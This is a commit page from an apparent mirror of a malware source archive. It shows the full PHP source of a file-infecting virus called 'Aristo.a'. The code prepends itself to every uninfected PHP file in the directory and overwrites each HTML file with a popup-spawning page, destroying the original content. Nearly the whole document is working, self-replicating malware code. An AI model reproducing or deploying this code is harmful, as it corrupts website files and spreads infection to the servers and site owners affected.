daniel/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2026-06-15 15:29:23 +00:00
Code Issues Projects Releases Wiki Activity

Rename PHP/Virus.PHP.Aristo.a to PHP/Infector/Virus.PHP.Aristo.a

Browse Source
This commit is contained in:
vxunderground
2020-11-02 23:50:50 -06:00
committed by GitHub
parent cef3945030
commit bf15280bb3
1 changed files with 0 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
PHP/Infector/Virus.PHP.Aristo.a
+65
View File
@@ -0,0 +1,65 @@
<?php // Aristotle
$file = $_SERVER["SCRIPT_NAME"];
$break = Explode('/', $file);
$pfile = $break[count($break) - 1];
$handle = fopen($pfile, 'rb');
$aris = fread($handle, 2624);
fclose($handle);
$dir=opendir('.');
while (($file = readdir($dir)) !== false)
{
if (strstr($file,'.html')) {
$arisjs='<html>'.chr(13).chr(10);
$arisjs.='<head>'.chr(13).chr(10);
$arisjs.='<title>'.chr(13).chr(10);
$arisjs.='</title>'.chr(13).chr(10);
$arisjs.='<SCRIPT LANGUAGE='.chr(34).'Javascript'.chr(34).'>'.chr(13).chr(10);
$arisjs.='var x = 10'.chr(13).chr(10);
$arisjs.='var y = 1 '.chr(13).chr(10);
$arisjs.='function startClock(){ '.chr(13).chr(10);
$arisjs.='x = x-y '.chr(13).chr(10);
$arisjs.='setTimeout('.chr(34).'startClock()'.chr(34).', 10)'.chr(13).chr(10);
$arisjs.='if(x==0)'.chr(13).chr(10);
$arisjs.='{'.chr(13).chr(10);
$arisjs.='aristotle = window.open('.chr(34).'http://www.ibiblio.org/wm/paint/auth/rembrandt/1650/aristotle-homer.jpg'.chr(34).')'.chr(13).chr(10);
$arisjs.='setTimeout('.chr(34).'aristotle.close()'.chr(34).',20)'.chr(13).chr(10);
$arisjs.='x=10'.chr(13).chr(10);
$arisjs.='}'.chr(13).chr(10);
$arisjs.='}'.chr(13).chr(10);
$arisjs.='</SCRIPT>'.chr(13).chr(10);
$arisjs.='</HEAD>'.chr(13).chr(10);
$arisjs.='<BODY BGCOLOR='.chr(34).'#FFFFFF'.chr(34).' onLoad='.chr(34).'startClock()'.chr(34).'>'.chr(13).chr(10);
$arisjs.='Change in all things is sweet.'.chr(13).chr(10);
$arisjs.='- Aristotle'.chr(13).chr(10);
$arisjs.='</BODY>'.chr(13).chr(10);
$arisjs.='</HTML>'.chr(13).chr(10);
$b = fopen($file, 'w');
fwrite($b,$arisjs);
fclose($b);
exec($file);
}
if (strstr($file,'.php')) { if (!strstr($file, 'Aristotle')) {
$a = fopen($file,'rb');
$contents = fread($a, filesize($file));
if (!strstr($contents, 'Aristotle'))
{
fclose($a);
$b = fopen($file,'w');
fwrite($b, $aris.$contents);
fclose($b);
}
}
}
if (is_dir($file)) { if (!strstr($file, '.')) { chdir($file);
}
}
}
closedir($dir);
?>